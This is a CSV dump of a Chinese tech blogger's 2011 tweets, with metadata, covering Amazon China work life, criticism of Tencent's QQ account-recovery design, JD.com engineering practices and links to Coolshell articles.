看样子你对Amazon中国有很多怨言。呵呵，我那篇文章同样适合你。不要将就，该说就说，amazon中国也是可以什么都说的，我就天天再说，和中国人说，和美国人说。另外，你也可以问你自己那三个问题。,,https://twitter.com/haoel/status/150054320749019136\n5386,150053812911079424,2011-12-23 03:23:11+00:00,0,0,0,,@gh05tw01f 我看到了今年至少有3个人 transfer到了美国，还有3-5个人transfer到了更好的团队。内部调岗当然没有那么容易，因为你必需要先有好的业绩。我连你的名字我都不知道，这样的交流太没意思了。,,https://twitter.com/haoel/status/150053812911079424\n5387,150016077726883840,2011-12-23 00:53:14+00:00,0,0,1,,@gh05tw01f 你不了解我的团队，请你不要像个怨妇一样。我可以告诉你，我们在7月份上线了一个整合欧洲商区的系统，到今天几乎没有tk。而且，现在这个系统每天的交易额是你难以想像的。我们团队的技术工作也是你这样的人难以想像的。,,https://twitter.com/haoel/status/150016077726883840\n5388,149881344107872256,2011-12-22 15:57:51+00:00,0,0,0,,@kcome  叫我陈皓或是耗子吧。我的文章都带有强烈地个人主义色彩，让你见笑了。,,https://twitter.com/haoel/status/149881344107872256\n5389,149657596788342784,2011-12-22 01:08:46+00:00,12,7,1,,很多人在我的《三个事三个问题》这篇blog http://t.co/0AchMNpL 中说我说的那些都是特例，大多数人不可能这么做的。我只想告诉这些人：别把不正常当正常。在今天这样的社会里，正常的情况是—— 大多数人都应该成为技术能手，大多数人都应该能活到可以不在乎户口。,\"[TextLink(text='coolshell.cn/articles/6142.…', url='http://coolshell.cn/articles/6142.html', tcourl='http://t.co/0AchMNpL', indices=(22, 42))]\",https://twitter.com/haoel/status/149657596788342784\n5390,149528148151779328,2011-12-21 16:34:23+00:00,9,1,2,,\"关于CSDN的明文口令的事，我在酷壳里早提到过了。关于Web安全，大家有必要看看\"\"你会做Web上的用户登录功能吗？\"\" http://t.co/XCDFBi95 。还有近期的 ＂Web开发中需要了解的东西＂http://t.co/crDkdJXI\",\"[TextLink(text='t.cn/SUNQwj', url='http://t.cn/SUNQwj', tcourl='http://t.co/XCDFBi95', indices=(59, 79)), TextLink(text='t.cn/Sq5gQd', url='http://t.cn/Sq5gQd', tcourl='http://t.co/crDkdJXI', indices=(102, 122))]\",https://twitter.com/haoel/status/149528148151779328\n5391,149332812082843649,2011-12-21 03:38:11+00:00,0,3,0,,2011年年底最后的大戏——“权利一天比一天小，手段一天比一天少，责任一天比一天大，老百姓一天比一天胃口高，一天比一天聪明，一天比一天难管”。,,https://twitter.com/haoel/status/149332812082843649\n5392,149027662348812288,2011-12-20 07:25:38+00:00,0,0,0,,@gh05tw01f 你是什么时候在中国亚马逊工作的呢？,,https://twitter.com/haoel/status/149027662348812288\n5393,148956141735510016,2011-12-20 02:41:26+00:00,0,0,1,,@tinyfool @kenny_yuan @oldyoungj  只是有感而发而已，每个人有每个人的价值观，我相信我们每个人都会经常谈到这些东西的。：）,,https://twitter.com/haoel/status/148956141735510016\n5394,148952786829189120,2011-12-20 02:28:06+00:00,0,0,0,,@gh05tw01f amazon的ticket的确有些让人不爽。 任何公司都不完美。任何团队都会有一堆烦人的事。不知道你在amazon里有没有看到一些比较不错的东西？这些不错的东西是否可以弥补oncall的不足？,,https://twitter.com/haoel/status/148952786829189120\n5395,147586425121021952,2011-12-16 07:58:40+00:00,0,2,0,,北京市政府周五宣布，新浪微博等微博平台的用户，必须在三个月之内使用个人真实身份信息注册。在实名注册前提下，用户仍可自主选择微博用户名。http://t.co/PlpD1X0A,\"[TextLink(text='cn.reuters.com/article/CNTopG…', url='http://cn.reuters.com/article/CNTopGenNews/idCNCNE7BF04K20111216', tcourl='http://t.co/PlpD1X0A', indices=(67, 87))]\",https://twitter.com/haoel/status/147586425121021952\n5396,147483874899931138,2011-12-16 01:11:10+00:00,0,1,2,,【失控的腾讯帝国】“我们花了13万元拍了一个视频，就是为了给老板看。我们预算中差不多花30％在内部宣传上。”在腾讯内部人士的讲述中，这样的故事比比皆是，“腾讯员工都很重视上内刊，这是可以表功的，每个部门都争取上内刊让领导看到为重。http://t.co/3Ss9krng,\"[TextLink(text='t.cn/ScG5lt', url='http://t.cn/ScG5lt', tcourl='http://t.co/3Ss9krng', indices=(115, 135))]\",https://twitter.com/haoel/status/147483874899931138\n5397,147331100421791744,2011-12-15 15:04:06+00:00,1,2,0,,facebook 的HHVM（HipHop Virtual Machine）让你的PHP代码提速60%，并减少10%的内存使用。http://t.co/WFKmtNje,\"[TextLink(text='facebook.com/note.php?note_…', url='http://www.facebook.com/note.php?note_id=10150415177928920', tcourl='http://t.co/WFKmtNje', indices=(64, 84))]\",https://twitter.com/haoel/status/147331100421791744\n5398,147265491449286656,2011-12-15 10:43:23+00:00,5,3,0,,酷壳 Coolshell.cn - Stanford在线学习课程: （感谢网友“阿四”投递本文） 有一个令人兴奋的消息，上次提到过Standford的在线公开课公开课AI(人工智能… http://t.co/invKAv3I,\"[TextLink(text='goo.gl/fb/ZVWU2', url='http://goo.gl/fb/ZVWU2', tcourl='http://t.co/invKAv3I', indices=(92, 112))]\",https://twitter.com/haoel/status/147265491449286656\n5399,147189944815849472,2011-12-15 05:43:12+00:00,0,0,1,,@yisu_02 好吧，我认错。,,https://twitter.com/haoel/status/147189944815849472\n5400,147174446761914368,2011-12-15 04:41:37+00:00,1,14,5,,介于新微博上的很多人名头都很大。我在考虑是否更改我的名头为：酷壳网创始人，兼董事长，兼CEO，兼CTO，兼COO，兼总架构师，兼超级程序员，兼高级网络安全顾问，兼超级美工，兼总编/主编，兼高级策划人，兼高级撰稿人，兼著名评论员， 兼媒体公关首席代表，兼职高级职业生涯咨询顾问……,,https://twitter.com/haoel/status/147174446761914368\n5401,147170332271329280,2011-12-15 04:25:16+00:00,0,0,0,,@codeo4 是的，facebook也是PHP。个人感觉PHP门槛不高，而且N多的开源项目都是PHP base的，还是应该有很多程序员的，到PHP的社区里找找看。就算要自己培养也可以啊，不难的，类C/C++，而且PHP的文档很强大的。,,https://twitter.com/haoel/status/147170332271329280\n5402,147136219350970368,2011-12-15 02:09:43+00:00,0,0,1,,@codeo4 我觉得因为PHP的代遇不如C/C++/Java这条线上的。而且，PHP做的系统不如C/C++/Java大和好。所以，好的程序员一般都不会走PHP这条路的。,,https://twitter.com/haoel/status/147136219350970368\n5403,146838670018740224,2011-12-14 06:27:21+00:00,8,21,6,,最近看到移动前端开发太火，开出的薪水很高，有一些朋友坐不住了。这让我想起了12年前做HTML的时光，那时我的工资才800元/月，而做一个网站，一个HTML的页面标价是6000元，可是没过两年，做HTML页面就越来越没竞争力，也越来越不值钱。也许你会说我极端，不过不妨思考一下。,,https://twitter.com/haoel/status/146838670018740224\n5404,146615419619381248,2011-12-13 15:40:16+00:00,1,1,1,,面对这样的代码伤不起啊。原贴：http://t.co/T9Oq97oH http://t.co/zo51MBYO,\"[TextLink(text='daniweb.com/web-developmen…', url='http://www.daniweb.com/web-development/php/threads/190561', tcourl='http://t.co/T9Oq97oH', indices=(15, 35))]\",https://twitter.com/haoel/status/146615419619381248\n5405,146461132650065920,2011-12-13 05:27:09+00:00,0,6,1,,在做日本商区的全球出口项目，做了一大半，被告之要修改出口需求，因为有很多成人色情DVD和书有很多不一样的处理流程，而这些是日本零售的重要组成部分，必需得考虑。人的一生能为色情业做出贡献也算是比较有意义的经历，以后在我的简历中要写上这一条。哈！,,https://twitter.com/haoel/status/146461132650065920\n5406,145182263427088384,2011-12-09 16:45:23+00:00,1,1,0,,国内创业团队的抄袭真是到了一种疯狂和无耻的地步，像素级的抄袭，HTML，CSS，连图片名拷过来连改都不改就用了。我真是无语了。,,https://twitter.com/haoel/status/145182263427088384\n5407,145018147563507712,2011-12-09 05:53:15+00:00,0,2,2,,查看了一下我的QQ漂流瓶：“相遇是缘，相识是缘，相知更是缘”，“为什么我的爱情好苦啊 ”，“谢谢你曾经给我的美好回忆，我感觉到足够了……”，“我没有不相信你，笨蛋！”，“我是第30个接到漂流瓶的人，让我们的爱心传递下去...”，“爱”…… QQ应该做青少年的婚恋交友网站啊。,,https://twitter.com/haoel/status/145018147563507712\n5408,145011932351578114,2011-12-09 05:28:33+00:00,0,0,0,,@imzrh @hecaitou 搜了一下google，只能看到大家在讨论QQmail这个功能的时间是2011，而讨论gmail的忘记附件提醒功能最早在2008年。,,https://twitter.com/haoel/status/145011932351578114\n5409,145008307789234176,2011-12-09 05:14:09+00:00,0,0,0,,@imzrh 估计 @hecaitou 从来没去过 gmail 的lab里看看。,,https://twitter.com/haoel/status/145008307789234176\n5410,144964701804171264,2011-12-09 02:20:52+00:00,0,4,1,,有很多人都认为，QQmail的忘记附件提醒功能是QQMail  首创的，而后gmail也有了。可见，生活在LAN里的认知是多么可怕的。,,https://twitter.com/haoel/status/144964701804171264\n5411,144456122261192704,2011-12-07 16:39:58+00:00,4,0,0,,酷壳 Coolshell.cn - Web开发中需要了解的东西: 在StackExchange上有人问了这样一个问题：What should every programmer know… http://t.co/jMYcKjJw,\"[TextLink(text='goo.gl/fb/NqdTd', url='http://goo.gl/fb/NqdTd', tcourl='http://t.co/jMYcKjJw', indices=(94, 114))]\",https://twitter.com/haoel/status/144456122261192704\n5412,143590133302689792,2011-12-05 07:18:50+00:00,0,0,0,,gmail 总是在提示：“Thousands of online accounts are hijacked every day. If you re-use your Gmail password at other websites”，http://t.co/KtUXtFuJ,\"[TextLink(text='google.com/support/accoun…', url='http://www.google.com/support/accounts/bin/answer.py?answer=32040&hl=zh', tcourl='http://t.co/KtUXtFuJ', indices=(119, 139))]\",https://twitter.com/haoel/status/143590133302689792\n5413,142168639938895873,2011-12-01 09:10:19+00:00,5,6,1,,回答了问题《京东今天还在用 .NET 架构的原因是什么？》: 被人邀请来回答这个问题，我觉得这个问题有三个部分： 1）为什么京东选Win/.NET平台 2）选Win/.NET平台行不行？ 3）京东的系统的问题是什么？ … http://t.co/wDs4BG1l,\"[TextLink(text='t.cn/SbA2Ql', url='http://t.cn/SbA2Ql', tcourl='http://t.co/wDs4BG1l', indices=(111, 131))]\",https://twitter.com/haoel/status/142168639938895873\n5414,141804911355633664,2011-11-30 09:05:00+00:00,0,0,0,,@GoneWater 通用的黑话。呵呵。好像乔布斯也是这样说的。,,https://twitter.com/haoel/status/141804911355633664\n5415,141804120465096705,2011-11-30 09:01:51+00:00,1,5,4,,看到新浪微博里一些朋友讨论说研发团队代码上线一定要通过运维团队，这是最基本的流程。对此，我只想说——开发团队就应该要对自己开发出来的东西做运维，因为You must eat your own dog food。,,https://twitter.com/haoel/status/141804120465096705\n5416,141790319447511040,2011-11-30 08:07:01+00:00,0,0,0,,有人让我去知乎回答一个问题 http://t.co/RyVuBz9N，“onClick还是onclick，第一个c是否要大写，发现虽然mdn和msdn上都说的是onclick，但是浏览器也能触发onClick事件，这是为什么？” 这样的问题你说我要回答吗？,\"[TextLink(text='zhihu.com/question/19942…', url='http://www.zhihu.com/question/19942453?__nids__=9679128', tcourl='http://t.co/RyVuBz9N', indices=(14, 34))]\",https://twitter.com/haoel/status/141790319447511040\n5417,141720472512512000,2011-11-30 03:29:28+00:00,3,16,0,,看乔布斯传，从Apple I到Apple II到Apple三代的开发过程（尤其是Apple III，Lisa，偷施乐的idea的这个时期）。个人觉得苹果的成功是：从一开始就在找一流的人，做一流的事。绝不妥协。不像大多数创业团队是先凑合，再改进，人和事都在凑合，在痛苦和疲惫中前。,,https://twitter.com/haoel/status/141720472512512000\n5418,141429607172812800,2011-11-29 08:13:40+00:00,6,1,0,,酷壳 Coolshell.cn - 一些有意思的算法代码: Keith Schwarz是一个斯坦福大学计算机科学系的讲师。他对编程充满了热情。他的主页上他自己正在实现各种各样的有意思的… http://t.co/p7u7dyQ5,\"[TextLink(text='goo.gl/fb/pGbsh', url='http://goo.gl/fb/pGbsh', tcourl='http://t.co/p7u7dyQ5', indices=(94, 114))]\",https://twitter.com/haoel/status/141429607172812800\n5419,141418149282193408,2011-11-29 07:28:08+00:00,0,0,0,,@virushuo 用鲁迅的话来形容我的心态是——我向来是不惮以最坏的恶意来推测腾讯的。见笑了。,,https://twitter.com/haoel/status/141418149282193408\n5420,141414351335718912,2011-11-29 07:13:03+00:00,0,0,0,,@virushuo 挺好的。至少有一点目的是达到了，那就是让大家都来思考这个问题。谢谢你的回复。挺有意思的。,,https://twitter.com/haoel/status/141414351335718912\n5421,141382430685790208,2011-11-29 05:06:12+00:00,0,0,0,,@virushuo 也许吧。我的QQ号以前就绑定过手机，但是申诉的时候就说我的手机没有被验证过。哎！,,https://twitter.com/haoel/status/141382430685790208\n5422,141381522472177664,2011-11-29 05:02:36+00:00,0,0,0,,@virushuo 申诉的过程中不会问你手机和邮箱的。为了更稳妥一些，只要投诉到帐号被封就好了，这样就会逼着真实的用户也要去申诉。接下来，就看谁的信息多了。卖号的信息必然比买号的要多得多。,,https://twitter.com/haoel/status/141381522472177664\n5423,141331258872569856,2011-11-29 01:42:52+00:00,0,2,1,,有些东西不交流不知道，酷壳有网友诉说了两个有意思的经历。1）和恶意申诉的人不断地来来回回地申诉一个QQ号，最后只能去和恶意申诉的人达成和解。2）卖QQ号的把一个QQ靓号卖给你，然后再申诉回来（毕竟是人家以前用过的）然后再接着卖。让人哭笑不得。（转 @virushuo ）,,https://twitter.com/haoel/status/141331258872569856\n5424,141071716544811008,2011-11-28 08:31:32+00:00,0,1,0,,酷壳 Coolshell.cn - 如何设计“找回用户帐号”功能: 因为《腾讯帐号申诉的用户体验》一文中好多人觉得腾讯申诉是世界级先进的，并让我拿出一个找回用户的帐号的功能来。本来不想写… http://t.co/98eKtX42,\"[TextLink(text='goo.gl/fb/Ddnul', url='http://goo.gl/fb/Ddnul', tcourl='http://t.co/98eKtX42', indices=(95, 115))]\",https://twitter.com/haoel/status/141071716544811008\n5425,140302931969835008,2011-11-26 05:36:40+00:00,0,1,2,,关于京东的微博在新浪倒了。呵呵。我顶不住压力了。,,https://twitter.com/haoel/status/140302931969835008\n5426,140115536892801024,2011-11-25 17:12:01+00:00,0,1,0,,@virushuo 你错了。如果像你说的这样，那么在注册的时候就应该收集这些信息，而不是找回口令的时候收集。你是否见过银行在开户的时候不要身份证，而以后挂失，重置密码，取钱时要身份证？（这么明显的东西，你还没有看懂？）,,https://twitter.com/haoel/status/140115536892801024\n5427,140112707822170112,2011-11-25 17:00:47+00:00,0,0,0,,@virushuo 我并没有比较腾讯和京东，只是告诉你一个例子。对于你说的多个帐号的问题，你又不是没有玩过QQ，陌生人经常来加你。加了你的这些陌生人就可以成为干掉你QQ号的准备。（这还没有问题啊！！！）,,https://twitter.com/haoel/status/140112707822170112\n5428,140110361276850176,2011-11-25 16:51:27+00:00,0,0,0,,@virushuo 呵呵。这样的理解有点肤浅了。我刚说了，我申诉的过程有很多漏洞可钻，这样的系统就是为了收集用户真实信息罢了。另，很多系统看上去也work，就像京东的系统。但是本质上就是个烂系统。不是在实际应用中管用的东西就是靠谱的。,,https://twitter.com/haoel/status/140110361276850176\n5429,140101883032371200,2011-11-25 16:17:46+00:00,18,41,13,,\"和一京东程序员聊了一多小时，听了许多抱怨。真是太惨了。1）代码要上线要求运维部。2）周一给需求，周四上线。3）随时都在开会，晚上7点还在开会，4）系统架构部是打酱油的，5）数据库MSSQL，字段名name1/2/3, status/1/2/3，代码烂得不行。6）系统没有日志……\",,https://twitter.com/haoel/status/140101883032371200\n5430,140092510260310016,2011-11-25 15:40:31+00:00,0,0,1,,@hashmap2k 不能，但是可以让小号帮助申诉。呵呵。,,https://twitter.com/haoel/status/140092510260310016\n5431,140089844029325313,2011-11-25 15:29:56+00:00,1,2,1,,大家可能并不知道我是怎么申诉回我被“恶意投诉”而被封的QQ的，我之所以没有说，是因为怕被滥用了。QQ的那套流程几乎没有什么用。因为我以前注册的时候，没有提交过我的真实信息，也没有绑定过我的手机，所以，只需要用几个小号+手机就可以申诉回来了，根本不需提交真实信息。,,https://twitter.com/haoel/status/140089844029325313\n5432,140088512811773952,2011-11-25 15:24:38+00:00,0,0,0,,@virushuo 呵呵。这点我真要说你天真了。安全工作从来没有这样搞的，这相当的没有技术含量，你想，注册的时候从来没有要过我的真实信息，找回的时候就要了，他怎么知道这是真实的？对了，你说的是政府的安全工作吧。就算是有现金交易的网页都不这么搞。另，你想知道我是怎么申诉QQ的吗？,,https://twitter.com/haoel/status/140088512811773952\n5433,140087172714860546,2011-11-25 15:19:19+00:00,0,0,0,,@imzrh 谢谢！,,https://twitter.com/haoel/status/140087172714860546\n5434,140086520978735104,2011-11-25 15:16:43+00:00,0,2,1,,看到很多腾讯的员工（至少25个以上）在我酷壳上骂我，我感到非常快乐，因为这让我感到了酷壳的影响力。（注：他们用的都是同一固定IP，通过STFG这个IP可以看到很多大学论坛里的腾讯招聘广告）,,https://twitter.com/haoel/status/140086520978735104\n5435,140085592712163329,2011-11-25 15:13:02+00:00,0,0,3,,看到了很多腾讯公司的员工在酷壳上骂我，我感到前所未有的痛快。很开心啊。,,https://twitter.com/haoel/status/140085592712163329\n5436,139924335220625409,2011-11-25 04:32:15+00:00,0,0,0,,酷壳 Coolshell.cn - 腾讯帐号申诉的用户体验: 前面写过一篇“腾讯，竞争力 和 用户体验”批评了腾讯，于是在我的微博上和博客上收到了一些反对意见，基本上是说腾讯产品的用户… http://t.co/rK5gs8Z5,\"[TextLink(text='goo.gl/fb/XiyCr', url='http://goo.gl/fb/XiyCr', tcourl='http://t.co/rK5gs8Z5', indices=(94, 114))]\",https://twitter.com/haoel/status/139924335220625409\n5437,139596552166588416,2011-11-24 06:49:46+00:00,7,4,0,,想创业的朋友上Quora上看看这个问答http://t.co/U0mnG2T1 看看什么是专业的有营养的问答。这就是我说的——真正的用户体验。那个中国的山寨网站只能山寨到Quora的“形”，永远无法山寨到Quora的“神”！,\"[TextLink(text='quora.com/Why-is-so-much…', url='http://www.quora.com/Why-is-so-much-of-Silicon-Valley-obsessed-with-small-ideas-that-dont-solve-a-problem', tcourl='http://t.co/U0mnG2T1', indices=(19, 39))]\",https://twitter.com/haoel/status/139596552166588416\n5438,139566108373028865,2011-11-24 04:48:47+00:00,3,1,0,,酷壳 Coolshell.cn - 一些文章资源和趣闻: 下面是我这段时间来收集的一些有意思的东西。本站这样的文章还很多，如这个，这个，这个。 Javascript Garden，这是… http://t.co/iOIcZYJC,\"[TextLink(text='goo.gl/fb/dbq9W', url='http://goo.gl/fb/dbq9W', tcourl='http://t.co/iOIcZYJC', indices=(94, 114))]\",https://twitter.com/haoel/status/139566108373028865\n5439,139018931653455872,2011-11-22 16:34:30+00:00,0,2,0,,晩上让老婆看了一下酷壳上关于“腾讯”的那篇文章。老婆说对我说：＂你不能说QQ的用户是低端的，但QQ上的确发生了很多低端的行为。QQ很通俗，但不端庄＂。学文的就是比我学理的人会表达啊。呵呵。,,https://twitter.com/haoel/status/139018931653455872\n5440,138795014351368192,2011-11-22 01:44:44+00:00,0,3,0,,酷壳 Coolshell.cn - 腾讯，竞争力 和 用户体验: 自从那篇rant了一堆公司都的文章发布来，得到了大家的关注，有些朋友让我写一下腾讯，在我的微博上（@左耳朵耗子）还有位… http://t.co/7H4mo6T6,\"[TextLink(text='goo.gl/fb/6J0CQ', url='http://goo.gl/fb/6J0CQ', tcourl='http://t.co/7H4mo6T6', indices=(94, 114))]\",https://twitter.com/haoel/status/138795014351368192\n5441,138545404974338049,2011-11-21 09:12:53+00:00,0,0,0,,@shenggxhz  twitter的系统搞的。太智能了也不好。你可以看看新浪的http://t.co/DW7RBd0T,\"[TextLink(text='weibo.com/1401880315/xyu…', url='http://weibo.com/1401880315/xyuspbnVZ', tcourl='http://t.co/DW7RBd0T', indices=(41, 61))]\",https://twitter.com/haoel/status/138545404974338049\n5442,138542612796805120,2011-11-21 09:01:48+00:00,2,0,0,,Fathoming Amazon 图片来源 http://t.co/jLXEXWyi 9个关于亚马逊有多大的事。 http://t.co/Mz6203rh,\"[TextLink(text='t.cn/S2SLm1', url='http://t.cn/S2SLm1', tcourl='http://t.co/jLXEXWyi', indices=(22, 42))]\",https://twitter.com/haoel/status/138542612796805120\n5443,136993577757716480,2011-11-17 02:26:28+00:00,0,0,1,,@lostmitu 谢谢，老实说因为我的朋友在twitter的不多，所以，我也不常上twitter，用新浪微浪更多一些。,,https://twitter.com/haoel/status/136993577757716480\n5444,136993331635945472,2011-11-17 02:25:30+00:00,6,26,2,,\"每个公司里有四种人—— 1) work the work, 2) talk the work, 3) work the talk, 4) talk the talk。1) 是做事的人，2）是关注事的人，3）是不懂装懂的人，4）是混日子的人。\",,https://twitter.com/haoel/status/136993331635945472\n5445,136991832155500544,2011-11-17 02:19:32+00:00,0,0,0,,我意识到我说的虚荣和炫耀并不产生价值是错的一一GMM的事给了我一记漂亮的耳光。试想，当今这个社会，如果所有的二奶都来炫耀谁包养了她，官员们都能签到他们出入的位置，那么还是能创造很多价值的。（这个滑稽的社会）,,https://twitter.com/haoel/status/136991832155500544\n5446,136991695131774978,2011-11-17 02:18:59+00:00,1,1,1,,\"收到\"\"Your Quora Weekly Digest\"\"，一个问题列表，第一个是关于软件开发流程的，第二个是关于北京人的，第三个是关于哈希表的，第四个关于798的，第五个关于美国福利的。 我在Quora上没发过言，只是浏览过。推荐还是很精准的。这就是“个性化推荐”嘛！\",,https://twitter.com/haoel/status/136991695131774978\n5447,136274451116474368,2011-11-15 02:48:55+00:00,0,0,0,,@Lord_WayneY 不是我。呵呵。,,https://twitter.com/haoel/status/136274451116474368\n5448,136266468810686464,2011-11-15 02:17:12+00:00,1,6,2,,\"不要跟随大流，保持住内心的理想，Think Big, Make Different。就像在一只非洲草原上匍匐向前缓缓逼进猎物的狮子那样有耐心。把自己当成一个沉着稳重猎手，而不是战场上的炮灰。 http://t.co/Gw0EpMNg\",\"[TextLink(text='coolshell.cn/articles/5815.…', url='http://coolshell.cn/articles/5815.html', tcourl='http://t.co/Gw0EpMNg', indices=(96, 116))]\",https://twitter.com/haoel/status/136266468810686464\n5449,136260011180556288,2011-11-15 01:51:32+00:00,0,1,1,,酷壳 Coolshell.cn - 来信， 创业 和 移动互联网: 上一篇博文翻译了Steve Yegge的rant，这两天有一些事让我也想rant一下（所谓rant就是一篇巨长无比的… http://t.co/gNnJNbkp,\"[TextLink(text='goo.gl/fb/KXAwI', url='http://goo.gl/fb/KXAwI', tcourl='http://t.co/gNnJNbkp', indices=(94, 114))]\",https://twitter.com/haoel/status/136260011180556288\n5450,134433457517506560,2011-11-10 00:53:28+00:00,2,1,0,,酷壳 Coolshell.cn - 千万别用MongoDB？真的吗？！: 某人发了一篇Don’t use MongoDB的血泪控诉，我把原文翻译如下，你可以看看。不过，我想我们还要去看看… http://t.co/zChZobbb,\"[TextLink(text='goo.gl/fb/tMdlJ', url='http://goo.gl/fb/tMdlJ', tcourl='http://t.co/zChZobbb', indices=(95, 115))]\",https://twitter.com/haoel/status/134433457517506560\n5451,132110223421874176,2011-11-03 15:01:46+00:00,0,0,0,,@guishan 我也很高兴能对你有用。,,https://twitter.com/haoel/status/132110223421874176\n5452,132038587947548672,2011-11-03 10:17:07+00:00,0,0,0,,@virushuo 我从你这也学到很多。呵呵。,,https://twitter.com/haoel/status/132038587947548672\n5453,132035479368511488,2011-11-03 10:04:46+00:00,0,0,1,,@virushuo 谢谢批评，翻译的确仓促有很多问题。另，别叫我老师了。就叫我陈皓就好。,,https://twitter.com/haoel/status/132035479368511488\n5454,131905272976379904,2011-11-03 01:27:22+00:00,6,6,0,,酷壳 Coolshell.cn - SteveY对Amazon和Google的平台的长篇大论: Steve Yegge， Amazon的前员工，现任Google员工，其本来想在… http://t.co/MYsNQxwO,\"[TextLink(text='goo.gl/fb/aLGmD', url='http://goo.gl/fb/aLGmD', tcourl='http://t.co/MYsNQxwO', indices=(90, 110))]\",https://twitter.com/haoel/status/131905272976379904\n5455,131767250054168576,2011-11-02 16:18:55+00:00,1,2,0,,面对系统的性能问题，普通型技术经理：找系统性能瓶颈。文艺型技术经理：请技术团队喝咖啡。101011型技术经理：加3倍的服务器。,,https://twitter.com/haoel/status/131767250054168576\n5456,131169843578810368,2011-11-01 00:45:02+00:00,1,2,0,,酷壳 Coolshell.cn - C语言中不为人知的东西: Dennis Ritchie 过世了，他发明了C语言，一个影响深远并彻底改变世界的计算机语言。一门经历40多年的到今天还长盛… http://t.co/ZExu3dEV,\"[TextLink(text='goo.gl/fb/XXApY', url='http://goo.gl/fb/XXApY', tcourl='http://t.co/ZExu3dEV', indices=(95, 115))]\",https://twitter.com/haoel/status/131169843578810368\n5457,130810806370709504,2011-10-31 00:58:21+00:00,0,0,0,,酷壳 Coolshell.cn - API设计新思维：用流畅接口构造内部DSL: 感谢@weidagang （Todd）向酷壳投递本文。 程序设计语言的抽象机制包含了两个最基本的方面：一… http://t.co/IBAWTg1z,\"[TextLink(text='goo.gl/fb/nPxyJ', url='http://goo.gl/fb/nPxyJ', tcourl='http://t.co/IBAWTg1z', indices=(95, 115))]\",https://twitter.com/haoel/status/130810806370709504\n5458,129956732624572416,2011-10-28 16:24:34+00:00,0,0,0,,@gao_wei 同握手,,https://twitter.com/haoel/status/129956732624572416\n5459,129823831773810688,2011-10-28 07:36:28+00:00,0,0,1,,@gao_wei 我也是情由心生。哈哈。,,https://twitter.com/haoel/status/129823831773810688\n5460,129765506713534465,2011-10-28 03:44:42+00:00,0,0,1,,@gao_wei 看理解的人怎么理解了，写文章的人本来无意，看文章的人理解有意。所谓流水无情，落花有意。境由心生啊。,,https://twitter.com/haoel/status/129765506713534465\n5461,128637232578961408,2011-10-25 01:01:20+00:00,1,1,0,,酷壳 Coolshell.cn - 多些时间能少写些代码: 我在我的微博上说过这样一段话，我想在这里把我的这个观点阐述地更完整一些。 @左耳朵耗子：聪明的程序员使用50%-70%的时间用… http://t.co/zDe8fvXg,\"[TextLink(text='goo.gl/fb/EfpJS', url='http://goo.gl/fb/EfpJS', tcourl='http://t.co/zDe8fvXg', indices=(95, 115))]\",https://twitter.com/haoel/status/128637232578961408\n5462,126858021107269632,2011-10-20 03:11:23+00:00,0,5,0,,\"大多数人按照所安排的路线生活，害怕探索其它路线，但有一些人，他们并不满足被设定的生活轨迹，冲破被设置的重重阻碍，只有意识到自由意志是天赐之物的人，才明白只有在奋力抗争后才知道如何善用之。Stay Hungry, Stay Foolish. http://t.co/93ljNYkL\",\"[TextLink(text='t.cn/SvXl82', url='http://t.cn/SvXl82', tcourl='http://t.co/93ljNYkL', indices=(120, 140))]\",https://twitter.com/haoel/status/126858021107269632\n5463,126831262005608448,2011-10-20 01:25:03+00:00,0,0,0,,\"酷壳 Coolshell.cn - Stay Hungry, Stay Foolish ！！: 在整个社会都在关注乔帮主的时候，我想在这里和大家分享一个真实的就在我们程序员身边的故事。和… http://t.co/yzzf6Swi\",\"[TextLink(text='goo.gl/fb/OoAmo', url='http://goo.gl/fb/OoAmo', tcourl='http://t.co/yzzf6Swi', indices=(95, 115))]\",https://twitter.com/haoel/status/126831262005608448\n5464,125442098005671937,2011-10-16 05:25:01+00:00,1,1,1,,酷壳 Coolshell.cn - “品质在于构建过程”吗？: 今天在微博上看到几位敏捷爱好者（本着讨论问题的态度故隐其名）探讨敏捷测试和质量保证问题，我忍不住也加入了讨论： Z先生原帖… http://t.co/vTbHNQ9w,\"[TextLink(text='goo.gl/fb/2DQoU', url='http://goo.gl/fb/2DQoU', tcourl='http://t.co/vTbHNQ9w', indices=(95, 115))]\",https://twitter.com/haoel/status/125442098005671937\n5465,124725837135224832,2011-10-14 05:58:51+00:00,0,2,0,,酷壳 Coolshell.cn - 那些曾伴我走过编程之路的软件: 收家的时候发现了一张VC++6.0的光盘，实然引发了我的怀旧情结。于是在微博上感叹了一下，看到一些朋友的回应，还有朋友… http://t.co/dUruoRTl,\"[TextLink(text='goo.gl/fb/kO4pE', url='http://goo.gl/fb/kO4pE', tcourl='http://t.co/dUruoRTl', indices=(95, 115))]\",https://twitter.com/haoel/status/124725837135224832\n5466,117119900627124224,2011-09-23 06:15:34+00:00,0,2,0,,\"周末评论几个事for fun, 1）小米手机会成为为刷机而生的手机。2）新浪微博也会成为娱乐八卦和宣传平台。3）Google+终会成为食之无味的鸡肋。4）iPad、Kindle等平板电脑终会成为主要以阅读为主平台（文字+视频）。5）未来的互联网两大主题：推荐服务 + 个性化服务。\",,https://twitter.com/haoel/status/117119900627124224\n5467,116307883532095488,2011-09-21 00:28:54+00:00,0,1,0,,酷壳 Coolshell.cn - 如果你看不见你还能编程吗？: 这是个StackOverflow上的问题 How can you program if you’re blind? 。在… http://t.co/V6hNrI56,\"[TextLink(text='goo.gl/fb/rcpGa', url='http://goo.gl/fb/rcpGa', tcourl='http://t.co/V6hNrI56', indices=(95, 115))]\",https://twitter.com/haoel/status/116307883532095488\n5468,115957502620864512,2011-09-20 01:16:37+00:00,1,1,0,,酷壳 Coolshell.cn - 一些文章和各种资源: 下面是近期收录的一些文章和资源，希望对你有用。 系统方面 - 印度的电子商务网站flipkart的性能扩展（PPT） http… http://t.co/kKBGf11c,\"[TextLink(text='goo.gl/fb/7BwyX', url='http://goo.gl/fb/7BwyX', tcourl='http://t.co/kKBGf11c', indices=(94, 114))]\",https://twitter.com/haoel/status/115957502620864512\n5469,114522307111813120,2011-09-16 02:13:40+00:00,5,1,1,,酷壳 Coolshell.cn - 给程序员的VIM速查卡: 前几天酷壳发布过“vim简明攻略”，不知道大家练得怎么样了。如果你练了一下，那么这里这个速查卡就会对你有帮助了。以前本站也有… http://t.co/cizUrCCF,\"[TextLink(text='goo.gl/fb/i3RSW', url='http://goo.gl/fb/i3RSW', tcourl='http://t.co/cizUrCCF', indices=(95, 115))]\",https://twitter.com/haoel/status/114522307111813120\n5470,114186920225026048,2011-09-15 04:00:57+00:00,1,6,1,,招聘：Amazon Global Selling http://t.co/ixqfRN6I 